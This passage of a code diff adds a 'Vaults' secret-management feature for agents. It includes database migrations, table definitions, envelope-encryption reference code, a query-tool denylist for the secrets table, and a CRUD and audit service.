+ sa.Column("tags", sa.Text(), nullable=True),
+ sa.Column("kind", sa.String(), nullable=False, server_default="static"),
+ sa.Column("protection", sa.String(), nullable=False, server_default="standard"),
+ sa.Column("signer_kind", sa.String(), nullable=True),
+ sa.Column("source", sa.String(), nullable=False, server_default="manual"),
+ sa.Column("ciphertext", sa.Text(), nullable=True),
+ sa.Column("nonce", sa.Text(), nullable=True),
+ sa.Column("wrap_meta", sa.Text(), nullable=True),
+ sa.Column("public_meta", sa.Text(), nullable=True),
+ sa.Column("policy", sa.Text(), nullable=True),
+ sa.Column("last_used_at", sa.String(), nullable=True),
+ sa.Column("use_count", sa.Integer(), nullable=False, server_default="0"),
+ sa.Column("created_at", sa.String(), nullable=False),
+ sa.Column("updated_at", sa.String(), nullable=False),
+ sa.UniqueConstraint("name", name="uq_vault_secrets_name"),
+ )
+ op.create_index("ix_vault_secrets_group", "vault_secrets", ["group_name"], if_not_exists=True)
+
+ if "vault_links" not in existing:
+ op.create_table(
+ "vault_links",
+ sa.Column("id", sa.String(), primary_key=True),
+ sa.Column("secret_name", sa.String(), sa.ForeignKey("vault_secrets.name", ondelete="CASCADE"), nullable=False),
+ sa.Column("skill_name", sa.String(), nullable=False),
+ sa.Column("source", sa.String(), nullable=False),
+ sa.Column("required", sa.Integer(), nullable=False, server_default="1"),
+ sa.Column("created_at", sa.String(), nullable=False),
+ sa.UniqueConstraint("secret_name", "skill_name", name="uq_vault_links_secret_skill"),
+ )
+ op.create_index("ix_vault_links_skill", "vault_links", ["skill_name"], if_not_exists=True)
+
+ if "vault_requests" not in existing:
+ op.create_table(
+ "vault_requests",
+ sa.Column("id", sa.String(), primary_key=True),
+ sa.Column("request_type", sa.String(), nullable=False),
+ sa.Column("secret_name", sa.String(), nullable=True),
+ sa.Column("requester", sa.Text(), nullable=True),
+ sa.Column("delivery", sa.Text(), nullable=True),
+ sa.Column("status", sa.String(), nullable=False, server_default="pending"),
+ sa.Column("message_id", sa.String(), nullable=True),
+ sa.Column("created_at", sa.String(), nullable=False),
+ sa.Column("decided_at", sa.String(), nullable=True),
+ sa.Column("expires_at", sa.String(), nullable=True),
+ )
+ op.create_index("ix_vault_requests_status_created", "vault_requests", ["status", "created_at"], if_not_exists=True)
+
+ if "vault_grants" not in existing:
+ op.create_table(
+ "vault_grants",
+ sa.Column("id", sa.String(), primary_key=True),
+ sa.Column("scope_type", sa.String(), nullable=False),
+ sa.Column("scope_ref", sa.String(), nullable=False),
+ sa.Column("member_snapshot", sa.Text(), nullable=True),
+ sa.Column("session_id", sa.String(), nullable=True),
+ sa.Column("status", sa.String(), nullable=False, server_default="active"),
+ sa.Column("created_by_request_id", sa.String(), nullable=True),
+ sa.Column("created_at", sa.String(), nullable=False),
+ sa.Column("expires_at", sa.String(), nullable=False),
+ sa.Column("revoked_at", sa.String(), nullable=True),
+ )
+ op.create_index("ix_vault_grants_status_expires", "vault_grants", ["status", "expires_at"], if_not_exists=True)
+
+ if "vault_audit" not in existing:
+ op.create_table(
+ "vault_audit",
+ sa.Column("id", sa.String(), primary_key=True),
+ sa.Column("ts", sa.String(), nullable=False),
+ sa.Column("event", sa.String(), nullable=False),
+ sa.Column("secret_name", sa.String(), nullable=True),
+ sa.Column("requester", sa.Text(), nullable=True),
+ sa.Column("delivery", sa.Text(), nullable=True),
+ sa.Column("request_id", sa.String(), nullable=True),
+ sa.Column("grant_id", sa.String(), nullable=True),
+ )
+ op.create_index("ix_vault_audit_ts", "vault_audit", ["ts"], if_not_exists=True)
+ op.create_index("ix_vault_audit_secret_ts", "vault_audit", ["secret_name", "ts"], if_not_exists=True)
+
+ # Seed the implicit ``default`` group (idempotent).
+ now = datetime.now(timezone.utc).isoformat()
+ op.get_bind().exec_driver_sql(
+ "insert or ignore into vault_groups (name, description, grantable, max_grant_ttl_seconds, created_at) "
+ f"values ('default', 'Default group', 1, 900, '{now}')"
+ )
+
+
+def downgrade() -> None:
+ op.drop_index("ix_vault_audit_secret_ts", table_name="vault_audit", if_exists=True)
+ op.drop_index("ix_vault_audit_ts", table_name="vault_audit", if_exists=True)
+ op.drop_table("vault_audit")
+ op.drop_index("ix_vault_grants_status_expires", table_name="vault_grants", if_exists=True)
+ op.drop_table("vault_grants")
+ op.drop_index("ix_vault_requests_status_created", table_name="vault_requests", if_exists=True)
+ op.drop_table("vault_requests")
+ op.drop_index("ix_vault_links_skill", table_name="vault_links", if_exists=True)
+ op.drop_table("vault_links")
+ op.drop_index("ix_vault_secrets_group", table_name="vault_secrets", if_exists=True)
+ op.drop_table("vault_secrets")
+ op.drop_table("vault_groups")
diff --git a/storage/models.py b/storage/models.py
index 00ee596b6..7050b9328 100644
--- a/storage/models.py
+++ b/storage/models.py
@@ -454,6 +454,126 @@ web_push_subscriptions = Table(
Index("ix_web_push_subscriptions_user_device", "user_key", "device_id"),
)
+# Vaults — secret management for agents (design: docs/plans/vaults.md).
+# A named secret is referenced by a globally-unique env-style ``name``; ``group_name``
+# is a lightweight organizational + unlock-scope axis (NOT a separate keyspace, NOT a
+# 1Password-style multi-vault container). Values are envelope-encrypted at rest
+# (storage/vault_crypto.py): standard tier under a machine key, protected tier (P1)
+# under a password/passkey-derived key. ``ciphertext``/``nonce`` are base64 text and
+# ``wrap_meta`` is a JSON blob of the wrapped DEK + scheme — there is deliberately no
+# plaintext column. The ``vault_secrets`` table is denylisted in ``vibe data query``.
+vault_groups = Table(
+ "vault_groups",
+ metadata,
+ Column("name", String, primary_key=True),
+ Column("description", Text, nullable=True),
+ # Whether secrets in this group may be covered by a scope grant (P1). Stored as
+ # Integer (0/1) per the codebase boolean convention. Forced 0 if the group holds
+ # a keypair (signing is never grantable).
+ Column("grantable", Integer, nullable=False, server_default="1"),
+ Column("max_grant_ttl_seconds", Integer, nullable=False, server_default="900"),
+ Column("created_at", String, nullable=False),
+)
+
+vault_secrets = Table(
+ "vault_secrets",
+ metadata,
+ Column("id", String, primary_key=True),
+ # Globally-unique reference key, ENV-style ``^[A-Z][A-Z0-9_]*$``.
+ Column("name", String, nullable=False),
+ Column("group_name", String, ForeignKey("vault_groups.name"), nullable=False, server_default="default"),
+ Column("tags", Text, nullable=True), # JSON array
+ Column("kind", String, nullable=False, server_default="static"), # static | keypair (P2)
+ Column("protection", String, nullable=False, server_default="standard"), # standard (P0) | protected (P1)
+ Column("signer_kind", String, nullable=True), # local | external | mpc:<provider> (P2, keypair only)
+ Column("source", String, nullable=False, server_default="manual"), # manual | imported:1password | op-reference
+ # Envelope: AES-256-GCM ciphertext/nonce (base64 text); ``wrap_meta`` JSON holds the
+ # wrapped DEK + scheme. All null for external/mpc/op-reference (no local key/value).
+ Column("ciphertext", Text, nullable=True),
+ Column("nonce", Text, nullable=True),
+ Column("wrap_meta", Text, nullable=True),
+ Column("public_meta", Text, nullable=True), # JSON: desc / pubkey / address / op:// uri
+ Column("policy", Text, nullable=True), # JSON: allowed modes, allowed hosts, always_ask
+ Column("last_used_at", String, nullable=True),
+ Column("use_count", Integer, nullable=False, server_default="0"),
+ Column("created_at", String, nullable=False),
+ Column("updated_at", String, nullable=False),
+ UniqueConstraint("name", name="uq_vault_secrets_name"),
+ Index("ix_vault_secrets_group", "group_name"),
+)
+
+# Skills <-> secrets is an M:N declared-dependency relation (a skill declares the
+# secrets it needs), NOT ownership: one secret used by three skills is one row here
+# plus three link rows, never duplicated. ``source`` distinguishes skill-meta-derived
+# links from agent/user-made ones. (P1.)
+vault_links = Table(
+ "vault_links",
+ metadata,
+ Column("id", String, primary_key=True),
+ Column("secret_name", String, ForeignKey("vault_secrets.name", ondelete="CASCADE"), nullable=False),
+ Column("skill_name", String, nullable=False),
+ Column("source", String, nullable=False), # skill_meta | agent | user
+ Column("required", Integer, nullable=False, server_default="1"),
+ Column("created_at", String, nullable=False),
+ UniqueConstraint("secret_name", "skill_name", name="uq_vault_links_secret_skill"),
+ Index("ix_vault_links_skill", "skill_name"),
+)
+
+# One queue for everything that needs a human: P0 uses ``provision`` (dynamic ask via
+# ``$<NAME>``); ``access``/``sign``/``proxy``/``keygen`` are P1+.
+vault_requests = Table(
+ "vault_requests",
+ metadata,
+ Column("id", String, primary_key=True),
+ Column("request_type", String, nullable=False), # provision | access | sign | proxy | keygen
+ Column("secret_name", String, nullable=True),
+ Column("requester", Text, nullable=True), # JSON: session_id / agent / run
+ Column("delivery", Text, nullable=True), # JSON
+ Column("status", String, nullable=False, server_default="pending"),
+ Column("message_id", String, nullable=True),
+ Column("created_at", String, nullable=False),
+ Column("decided_at", String, nullable=True),
+ Column("expires_at", String, nullable=True),
+ Index("ix_vault_requests_status_created", "status", "created_at"),
+)
+
+# Metadata + audit of active scope-typed unlock grants (P1). The key material — the
+# cached DEK set — is NEVER stored here; it lives only in daemon memory. This row
+# records the scope + bounds for the UI and audit; the member set is frozen at grant
+# time. Created in P0, exercised in P1.
+vault_grants = Table(
+ "vault_grants",
+ metadata,
+ Column("id", String, primary_key=True),
+ Column("scope_type", String, nullable=False), # secret | skill | group
+ Column("scope_ref", String, nullable=False),
+ Column("member_snapshot", Text, nullable=True), # JSON: frozen secret-name set (audit)
+ Column("session_id", String, nullable=True), # null = any-session
+ Column("status", String, nullable=False, server_default="active"), # active | expired | revoked
+ Column("created_by_request_id", String, nullable=True),
+ Column("created_at", String, nullable=False),
+ Column("expires_at", String, nullable=False),
+ Column("revoked_at", String, nullable=True),
+ Index("ix_vault_grants_status_expires", "status", "expires_at"),
+)
+
+# Append-only audit log. Secret VALUES never appear here — only names, requesters,
+# and delivery summaries.
+vault_audit = Table(
+ "vault_audit",
+ metadata,
+ Column("id", String, primary_key=True),
+ Column("ts", String, nullable=False),
+ Column("event", String, nullable=False), # created/updated/deleted/delivered/denied/granted/...
+ Column("secret_name", String, nullable=True),
+ Column("requester", Text, nullable=True),
+ Column("delivery", Text, nullable=True),
+ Column("request_id", String, nullable=True),
+ Column("grant_id", String, nullable=True),
+ Index("ix_vault_audit_ts", "ts"),
+ Index("ix_vault_audit_secret_ts", "secret_name", "ts"),
+)
+
imported_state_tables = [
show_pages,
background_runs,
diff --git a/storage/read_only_query.py b/storage/read_only_query.py
index 09b75b7f7..1e2c3c116 100644
--- a/storage/read_only_query.py
+++ b/storage/read_only_query.py
@@ -12,6 +12,12 @@ from storage.pagination import PageRequest, PageResult, page_result_from_limit_p
DEFAULT_QUERY_STEP_LIMIT = 250_000
+# Tables whose rows must never be readable through ``vibe data query``. Vault secret
+# ciphertext is encrypted anyway, but there's no reason to expose it (or let backups
+# of a query result carry it); names/policy live behind the proper Vaults API/CLI.
+# Sibling vault tables (requests/links/grants/audit) stay queryable for inspection.
+_DENIED_TABLES = frozenset({"vault_secrets"})
+
class ReadOnlyQueryError(ValueError):
def __init__(self, message: str, *, code: str = "query_failed"):
@@ -82,7 +88,12 @@ def _validate_single_statement(sql: str) -> str:
def _authorizer(action: int, arg1: str | None, arg2: str | None, db_name: str | None, source: str | None) -> int:
- del arg1, arg2, db_name, source
+ del arg2, db_name, source
+ # SQLITE_READ fires per column access with the table name in ``arg1``; deny any
+ # read touching a denylisted table so the whole statement fails with a clear error
+ # rather than leaking the table or returning partial rows.
+ if action == sqlite3.SQLITE_READ and arg1 in _DENIED_TABLES:
+ return sqlite3.SQLITE_DENY
denied_actions = {
sqlite3.SQLITE_ALTER_TABLE,
sqlite3.SQLITE_ATTACH,
diff --git a/storage/vault_crypto.py b/storage/vault_crypto.py
new file mode 100644
index 000000000..5c9485337
--- /dev/null
+++ b/storage/vault_crypto.py
@@ -0,0 +1,47 @@
+"""Vaults secret-name validation and the on-disk envelope shape.
+
+P1 moved **all value cryptography out of Python** into the ``avault`` custody core
+(design: avibe ``docs/plans/avault-custody-core.md`` §18). This module is now
+intentionally tiny: it owns only the ENV-style secret-name rule and the
+:class:`Sealed` envelope shape that the ``vault_secrets`` table stores and that the
+avault client (``vibe/api.py``) produces (``avault seal``) and hands back to avault
+to deliver. No keys, no plaintext, and no cryptography ever live here anymore — the
+daemon never holds the machine key and never decrypts.
+
+Wire format (the ``wrap_meta`` column is JSON text produced by avault):
+ {"v": 1, "scheme": "machine-aesgcm-v1", "wrapped_dek": <b64>, "dek_nonce": <b64>}
+``ciphertext`` and ``nonce`` are base64 text (the DB stores text, not blobs).
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass
+
+# The wrap scheme avault stamps into wrap_meta. Kept here only as a documented
+# reference for the stored envelope; nothing in Python reads or enforces it.
+WRAP_SCHEME = "machine-aesgcm-v1"
+_NAME_RE = re.compile(r"^[A-Z][A-Z0-9_]*$")
+
+
+class VaultCryptoError(Exception):
+ """Retained for backwards compatibility. Value crypto now lives in the avault
+ client (``vibe/api.py``), which raises ``api.AvaultError`` instead."""
+
+
+@dataclass(frozen=True)
+class Sealed:
+ """An envelope-encrypted value as stored in ``vault_secrets`` (all text columns).
+
+ Produced by the avault client (``avault seal``) on create, and handed back to
+ avault to deliver/fetch/inject. This process never decrypts it.
+ """
+
+ ciphertext: str # base64
+ nonce: str # base64
+ wrap_meta: str # JSON text
+
+
+def is_valid_secret_name(name: str | None) -> bool:
+ """ENV-style names only: an uppercase letter then uppercase/digit/underscore."""
+ return bool(name and _NAME_RE.match(name))
diff --git a/storage/vault_protected.py b/storage/vault_protected.py
new file mode 100644
index 000000000..ea1c826fe
--- /dev/null
+++ b/storage/vault_protected.py
@@ -0,0 +1,159 @@
+"""Protected-tier envelope — canonical wire-format reference (design: vaults.md §7.1).
+
+A **Vault Master Key (VMK)** is the protected-tier root. The VMK is wrapped
+*independently* by one or more factors (password now; WebAuthn-PRF passkey copies are
+added browser-side later, with the same copy shape) so any single factor can unwrap it
+and losing one factor — while another remains — doesn't lose the vault. Each protected
+secret's data key (DEK) is wrapped by the VMK.
+
+ VMK --wrapped by--> KEK_password = KDF(password, salt) (0..N copies)
+ secret: value --AES-256-GCM(DEK)--> ciphertext; DEK --AES-256-GCM(VMK)--> wrapped
+
+**IMPORTANT — production decryption is BROWSER-SIDE (§8.4):** the vault password never
+reaches the daemon. This module is the *canonical format definition + test vectors* the
+browser implementation mirrors. Its ``unwrap``/``open`` path exists for tests and
+offline tooling and must NOT be wired into a daemon-side resolve. The daemon only ever
+stores the opaque ``wrap_meta`` + ciphertext the browser produces.
+
+KDF note: this reference uses Scrypt (zero-dep, ships in ``cryptography``); each wrap
+copy records its ``kdf`` + params, so an Argon2id variant is just another ``kdf`` value
+(the protected-tier KDF is still open Q7). The ``kind`` field distinguishes
+``password`` copies from future ``passkey`` copies.
+"""
+
+from __future__ import annotations
+
+import base64
+import json
+import os
+from dataclasses import dataclass
+
+from cryptography.exceptions import InvalidTag
+from cryptography.hazmat.primitives.ciphers.aead import AESGCM
+from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
+
+WRAP_META_VERSION = 1
+_KEY_BYTES = 32
+_NONCE_BYTES = 12
+_SCRYPT_N = 2**15
+_SCRYPT_R = 8
+_SCRYPT_P = 1
+
+
+class ProtectedFormatError(Exception):
+ pass
+
+
+@dataclass(frozen=True)
+class ProtectedSealed:
+ """A protected secret's ciphertext (DEK wrapped by the VMK). Base64 text fields."""
+
+ ciphertext: str
+ nonce: str
+ dek_nonce: str
+ wrapped_dek: str
+
+
+def _b64(raw: bytes) -> str:
+ return base64.b64encode(raw).decode("ascii")
+
+
+def _unb64(text: str) -> bytes:
+ return base64.b64decode(text.encode("ascii"))
+
+
+def new_vmk() -> bytes:
+ return os.urandom(_KEY_BYTES)
+
+
+def _kek_password(password: str, salt: bytes, *, n: int = _SCRYPT_N, r: int = _SCRYPT_R, p: int = _SCRYPT_P) -> bytes:
+ return Scrypt(salt=salt, length=_KEY_BYTES, n=n, r=r, p=p).derive(password.encode("utf-8"))
+
+
+def _validate_scrypt_params(n: int, r: int, p: int) -> None:
+ """Bound copy-controlled KDF params so a hostile/corrupt wrap_meta can't OOM or hang
+ the unwrap before authentication fails. N is a power of two ≤ 2^17 (~256 MB at r=8)."""
+ if not (isinstance(n, int) and n >= 2 and (n & (n - 1)) == 0 and n <= 2**17):
+ raise ProtectedFormatError(f"scrypt N out of bounds: {n!r}")
+ if not (isinstance(r, int) and 1 <= r <= 16):
+ raise ProtectedFormatError(f"scrypt r out of bounds: {r!r}")
+ if not (isinstance(p, int) and 1 <= p <= 16):
+ raise ProtectedFormatError(f"scrypt p out of bounds: {p!r}")
+
+
+def _password_copy(vmk: bytes, password: str) -> dict:
+ salt = os.urandom(16)
+ nonce = os.urandom(_NONCE_BYTES)
+ kek = _kek_password(password, salt)
+ wrapped = AESGCM(kek).encrypt(nonce, vmk, None)
+ return {
+ "kind": "password",
+ "kdf": "scrypt",
+ "n": _SCRYPT_N,
+ "r": _SCRYPT_R,
+ "p": _SCRYPT_P,
+ "salt": _b64(salt),
+ "nonce": _b64(nonce),
+ "wrapped": _b64(wrapped),
+ }
+
+
+def build_wrap_meta(vmk: bytes, passwords: list[str]) -> str:
+ """Build a ``wrap_meta`` JSON wrapping ``vmk`` under each password (one copy each)."""
+ if not passwords:
+ raise ProtectedFormatError("at least one factor (password) is required")
+ copies = [_password_copy(vmk, pw) for pw in passwords]
+ return json.dumps({"v": WRAP_META_VERSION, "copies": copies})
+
+
+def add_password_copy(wrap_meta: str, vmk: bytes, password: str) -> str:
+ """Append a new password wrap copy of the same VMK (e.g. a second device / rotation)."""
+ meta = json.loads(wrap_meta)
+ meta.setdefault("copies", []).append(_password_copy(vmk, password))
+ return json.dumps(meta)
+
+
+def unwrap_vmk(wrap_meta: str, password: str) -> bytes:
+ """Recover the VMK by trying the password against each ``password`` copy.
+
+ Reference/test path only — production unwrap is browser-side (§8.4).
+ """
+ try:
+ meta = json.loads(wrap_meta)
+ except (TypeError, ValueError) as exc:
+ raise ProtectedFormatError("wrap_meta is not valid JSON") from exc
+ for copy in meta.get("copies", []):
+ if copy.get("kind") != "password" or copy.get("kdf") != "scrypt":
+ continue
+ try:
+ n, r, p = int(copy["n"]), int(copy["r"]), int(copy["p"])
+ _validate_scrypt_params(n, r, p) # bound before deriving; skip a copy with hostile params
+ kek = _kek_password(password, _unb64(copy["salt"]), n=n, r=r, p=p)
+ return AESGCM(kek).decrypt(_unb64(copy["nonce"]), _unb64(copy["wrapped"]), None)
+ except (InvalidTag, KeyError, ValueError, TypeError, ProtectedFormatError):
+ continue
+ raise ProtectedFormatError("no password copy could be unwrapped (wrong password?)")
+
+
+def seal_protected(value: bytes, vmk: bytes) -> ProtectedSealed:
+ """Seal a secret value: fresh DEK encrypts the value, the VMK wraps the DEK."""
+ dek = os.urandom(_KEY_BYTES)
+ value_nonce = os.urandom(_NONCE_BYTES)
+ ciphertext = AESGCM(dek).encrypt(value_nonce, value, None)
+ dek_nonce = os.urandom(_NONCE_BYTES)
+ wrapped_dek = AESGCM(vmk).encrypt(dek_nonce, dek, None)
+ return ProtectedSealed(
+ ciphertext=_b64(ciphertext),
+ nonce=_b64(value_nonce),
+ dek_nonce=_b64(dek_nonce),
+ wrapped_dek=_b64(wrapped_dek),
+ )
+
+
+def open_protected(sealed: ProtectedSealed, vmk: bytes) -> bytes:
+ """Reverse :func:`seal_protected` (reference/test path; production is browser-side)."""
+ try:
+ dek = AESGCM(vmk).decrypt(_unb64(sealed.dek_nonce), _unb64(sealed.wrapped_dek), None)
+ return AESGCM(dek).decrypt(_unb64(sealed.nonce), _unb64(sealed.ciphertext), None)
+ except (InvalidTag, ValueError, TypeError) as exc:
+ raise ProtectedFormatError("protected decryption failed (wrong VMK or corrupt data)") from exc
diff --git a/storage/vault_service.py b/storage/vault_service.py
new file mode 100644
index 000000000..18533bef9
--- /dev/null
+++ b/storage/vault_service.py
@@ -0,0 +1,434 @@
+"""CRUD + resolve + audit over the vault tables (design: docs/plans/vaults.md).
+
+Data layer for Vaults, sibling to ``storage/messages_service.py`` etc.: functions take
+a SQLAlchemy ``Connection`` and never open their own engine. This module owns the one
+place that decrypts a stored secret (``resolve``) and the one place that writes audit
+rows, so future invariants land here rather than in callers.
+
+P0 scope: the **standard tier** only (machine-key envelope, ``storage/vault_crypto``).
+Creating/resolving a ``protected`` secret raises — that tier (password/passkey, approval,
+browser-side decryption) and scope grants are P1. Secret values are accepted/returned as
+UTF-8 ``str``; nothing here ever logs or audits a value.
+"""
+
+from __future__ import annotations
+
+import json
+import uuid
+from datetime import datetime, timezone
+from typing import Any
+
+from sqlalchemy import select
+from sqlalchemy.engine import Connection
+from sqlalchemy.exc import IntegrityError
+
+from storage import vault_crypto
+from storage.models import vault_audit, vault_groups, vault_requests, vault_secrets
+from storage.vault_crypto import Sealed
+
+DEFAULT_GROUP = "default"
+_PREVIEW_TAIL = 4
+
+
+class VaultServiceError(Exception):
+ """Base class for vault data-layer errors."""
+
+
+class InvalidSecretNameError(VaultServiceError):
+ pass
+
+
+class SecretExistsError(VaultServiceError):
+ pass
+
+
+class SecretNotFoundError(VaultServiceError):
+ pass
+
+
+class RequestNotFoundError(VaultServiceError):
+ pass
+
+
+class UnsupportedProtectionError(VaultServiceError):
+ """A protected-tier operation was attempted before P1 ships it."""
+
+
+def _now() -> str:
+ return datetime.now(timezone.utc).isoformat()
+
+
+def _id(prefix: str) -> str:
+ return f"{prefix}_{uuid.uuid4().hex[:12]}"
+
+
+def value_preview(value: str) -> str:
+ """Non-secret masked hint for list/detail views (last few chars, like #555).
+
+ Computed by the caller from the plaintext *before* sealing (avault returns only
+ ciphertext), then stored as non-secret metadata via :func:`create_secret`.
+ """
+ if not value:
+ return ""
+ if len(value) <= _PREVIEW_TAIL:
+ return "•" * len(value)
+ return "…" + value[-_PREVIEW_TAIL:]
+
+
+def _loads(raw: str | None) -> Any:
+ if not raw:
+ return None
+ try:
+ return json.loads(raw)
+ except (TypeError, ValueError):
+ return None
+
+
+def _meta_payload(row: dict[str, Any]) -> dict[str, Any]:
+ """Masked, value-free metadata for a secret row."""
+ public_meta = _loads(row.get("public_meta")) or {}
+ return {
+ "name": row["name"],
+ "group": row.get("group_name"),
+ "tags": _loads(row.get("tags")) or [],
+ "kind": row.get("kind"),
+ "protection": row.get("protection"),
+ "signer_kind": row.get("signer_kind"),
+ "source": row.get("source"),
+ "description": public_meta.get("description"),
+ "preview": public_meta.get("preview", ""),
+ # Policy is non-secret (allowed hosts, auth scheme name) — safe to surface.
+ "policy": _loads(row.get("policy")) or {},
+ "last_used_at": row.get("last_used_at"),
+ "use_count": row.get("use_count"),
+ "created_at": row.get("created_at"),
+ "updated_at": row.get("updated_at"),
+ }
+
+
+def audit(
+ conn: Connection,
+ event: str,
+ *,
+ secret_name: str | None = None,
+ requester: Any = None,
+ delivery: Any = None,
+ request_id: str | None = None,
+ grant_id: str | None = None,
+) -> None:
+ """Append one audit row. Callers pass only non-secret summaries."""
+ conn.execute(
+ vault_audit.insert().values(
+ id=_id("vau"),
+ ts=_now(),
+ event=event,
+ secret_name=secret_name,
+ requester=json.dumps(requester) if requester is not None else None,
+ delivery=json.dumps(delivery) if delivery is not None else None,
+ request_id=request_id,
+ grant_id=grant_id,
+ )
+ )
+
+
+def ensure_default_group(conn: Connection) -> None:
+ """Insert the implicit ``default`` group if absent (the migration seeds it, but
+ keep this defensive for DBs built another way)."""
+ exists = conn.execute(select(vault_groups.c.name).where(vault_groups.c.name == DEFAULT_GROUP)).first()
+ if exists is None:
+ conn.execute(
+ vault_groups.insert().values(
+ name=DEFAULT_GROUP,
+ description="Default group",
+ grantable=1,
+ max_grant_ttl_seconds=900,
+ created_at=_now(),
+ )
+ )
+
+
+def _ensure_group(conn: Connection, name: str) -> None:
+ """Create the group row if it's missing so a secret's ``group_name`` FK is satisfied.
+
+ The Vaults UI / ``--group`` expose arbitrary group labels; without this an unseeded
+ group would trip the FK with a generic ``FOREIGN KEY constraint failed`` instead of
+ the group option just working.
+ """
+ if conn.execute(select(vault_groups.c.name).where(vault_groups.c.name == name)).first() is None:
+ try:
+ conn.execute(
+ vault_groups.insert().values(
+ name=name,
+ description="Default group" if name == DEFAULT_GROUP else None,
+ grantable=1,
+ max_grant_ttl_seconds=900,
+ created_at=_now(),
+ )
+ )
+ except IntegrityError:
+ # A concurrent create inserted this brand-new group between our check and insert.
+ # The row now exists (all the FK needs), so swallow the PK conflict and continue —
+ # otherwise the loser's otherwise-valid secret create would fail with a raw error.
+ pass
+
+
+def _require_row(conn: Connection, name: str) -> dict[str, Any]:
+ row = conn.execute(select(vault_secrets).where(vault_secrets.c.name == name)).mappings().first()
+ if row is None:
+ raise SecretNotFoundError(name)
+ return dict(row)
+
+
+def create_secret(
+ conn: Connection,
+ *,
+ name: str,
+ sealed: Sealed,
+ preview: str = "",
+ group: str = DEFAULT_GROUP,
+ tags: list[str] | None = None,
+ protection: str = "standard",
+ description: str | None = None,
+ source: str = "manual",
+ policy: dict[str, Any] | None = None,
+) -> dict[str, Any]:
+ """Create a standard-tier secret from an avault-sealed envelope; return masked metadata.
+
+ The value is sealed by the caller via the avault client (this layer never sees
+ plaintext or keys). ``preview`` is the caller-computed non-secret last-4 hint.
+
+ ``policy`` is a non-secret JSON dict (e.g. ``allowed_hosts`` + ``auth`` scheme for
+ the brokered ``fetch`` mode); it never contains the value.
+ """
+ if not vault_crypto.is_valid_secret_name(name):
+ raise InvalidSecretNameError(name)
+ if protection != "standard":
+ raise UnsupportedProtectionError("only the standard tier is available in P0")
+ if conn.execute(select(vault_secrets.c.id).where(vault_secrets.c.name == name)).first() is not None:
+ raise SecretExistsError(name)
+
+ _ensure_group(conn, group)
+ now = _now()
+ public_meta = {"preview": preview}
+ if description:
+ public_meta["description"] = description
+ try:
+ conn.execute(
+ vault_secrets.insert().values(
+ id=_id("vlt"),
+ name=name,
+ group_name=group,
+ tags=json.dumps(tags) if tags else None,
+ kind="static",
+ protection="standard",
+ source=source,
+ ciphertext=sealed.ciphertext,
+ nonce=sealed.nonce,
+ wrap_meta=sealed.wrap_meta,
+ public_meta=json.dumps(public_meta),
+ policy=json.dumps(policy) if policy else None,
+ use_count=0,
+ created_at=now,
+ updated_at=now,
+ )
+ )
+ except IntegrityError as exc:
+ # Two concurrent creates (e.g. Web dialog + inline card) can both pass the existence
+ # check above; the loser hits the UNIQUE(name) constraint here. Surface it as the same
+ # SecretExistsError → 409 so the racing already-fulfilled ask is handled, not a 500.
+ raise SecretExistsError(name) from exc
+ audit(conn, "created", secret_name=name)
+ # Any pending dynamic-ask (provision) request for this name is now satisfied,
+ # regardless of which create path stored it (CLI / API / inline card) — so a
+ # `vibe vault request --wait` resolves instead of timing out.
+ conn.execute(
+ vault_requests.update()
+ .where(
+ vault_requests.c.request_type == "provision",
+ vault_requests.c.secret_name == name,
+ vault_requests.c.status == "pending",
+ )
+ .values(status="fulfilled", decided_at=_now())
+ )
+ return _meta_payload(_require_row(conn, name))
+
+
+def get_secret_meta(conn: Connection, name: str) -> dict[str, Any]:
+ return _meta_payload(_require_row(conn, name))
+
+
+def list_secrets(conn: Connection, *, group: str | None = None) -> list[dict[str, Any]]:
+ """Masked, value-free list. Never decrypts."""
+ query = select(vault_secrets).order_by(vault_secrets.c.name)
+ if group is not None:
+ query = query.where(vault_secrets.c.group_name == group)
+ return [_meta_payload(dict(row)) for row in conn.execute(query).mappings()]
+
+
+def rotate_secret(
+ conn: Connection,
+ name: str,
+ sealed: Sealed,
+ *,
+ preview: str = "",
+) -> dict[str, Any]:
+ row = _require_row(conn, name)
+ if row.get("protection") != "standard":
+ raise UnsupportedProtectionError("only the standard tier is available in P0")
+ public_meta = _loads(row.get("public_meta")) or {}
+ public_meta["preview"] = preview
+ conn.execute(
+ vault_secrets.update()
+ .where(vault_secrets.c.name == name)
+ .values(
+ ciphertext=sealed.ciphertext,
+ nonce=sealed.nonce,
+ wrap_meta=sealed.wrap_meta,
+ public_meta=json.dumps(public_meta),
+ updated_at=_now(),
+ )
+ )
+ audit(conn, "updated", secret_name=name)
+ return _meta_payload(_require_row(conn, name))
+
+
+def delete_secret(conn: Connection, name: str) -> None:
+ if conn.execute(select(vault_secrets.c.id).where(vault_secrets.c.name == name)).first() is None:
+ raise SecretNotFoundError(name)
+ conn.execute(vault_secrets.delete().where(vault_secrets.c.name == name))
+ audit(conn, "deleted", secret_name=name)
+
+
+def get_secret_policy(conn: Connection, name: str) -> dict[str, Any]:
+ """Return the secret's non-secret policy dict (allowed_hosts, auth scheme)."""
+ return _loads(_require_row(conn, name).get("policy")) or {}
+
+
+def get_envelope(conn: Connection, name: str) -> Sealed:
+ """Return one standard-tier secret's stored envelope (no decrypt, no audit).
+
+ For the brokered ``fetch`` proxy: the caller hands the envelope to the avault
+ client (which decrypts + delivers), then records its own ``record_proxy_use``.
+ Validate any policy (e.g. host allowlist) *before* delivering. Protected-tier
+ raises rather than being handed off — this layer never decrypts.
+ """
+ row = _require_row(conn, name)
+ if row.get("protection") != "standard":
+ raise UnsupportedProtectionError(f"{name} is protected-tier (approval is P1)")
+ return Sealed(ciphertext=row["ciphertext"], nonce=row["nonce"], wrap_meta=row["wrap_meta"])
+
+
+def record_proxy_use(conn: Connection, name: str, *, requester: Any = None, delivery: Any = None) -> None:
+ """Bump usage + write a value-free ``proxied`` audit row after a brokered request."""
+ row = _require_row(conn, name)
+ conn.execute(
+ vault_secrets.update()
+ .where(vault_secrets.c.name == name)
+ .values(last_used_at=_now(), use_count=vault_secrets.c.use_count + 1)
+ )
+ audit(conn, "proxied", secret_name=name, requester=requester, delivery=delivery)
+
+
+def get_envelopes(conn: Connection, names: list[str]) -> dict[str, Sealed]:
+ """Return the stored envelopes for the requested secrets (standard tier; no decrypt).
+
+ Validates the WHOLE batch (all names exist + standard tier) BEFORE returning any, so a
+ missing/protected name fails the request as a unit. The caller hands these envelopes to
+ the avault client to deliver (child env / file), and records delivery via
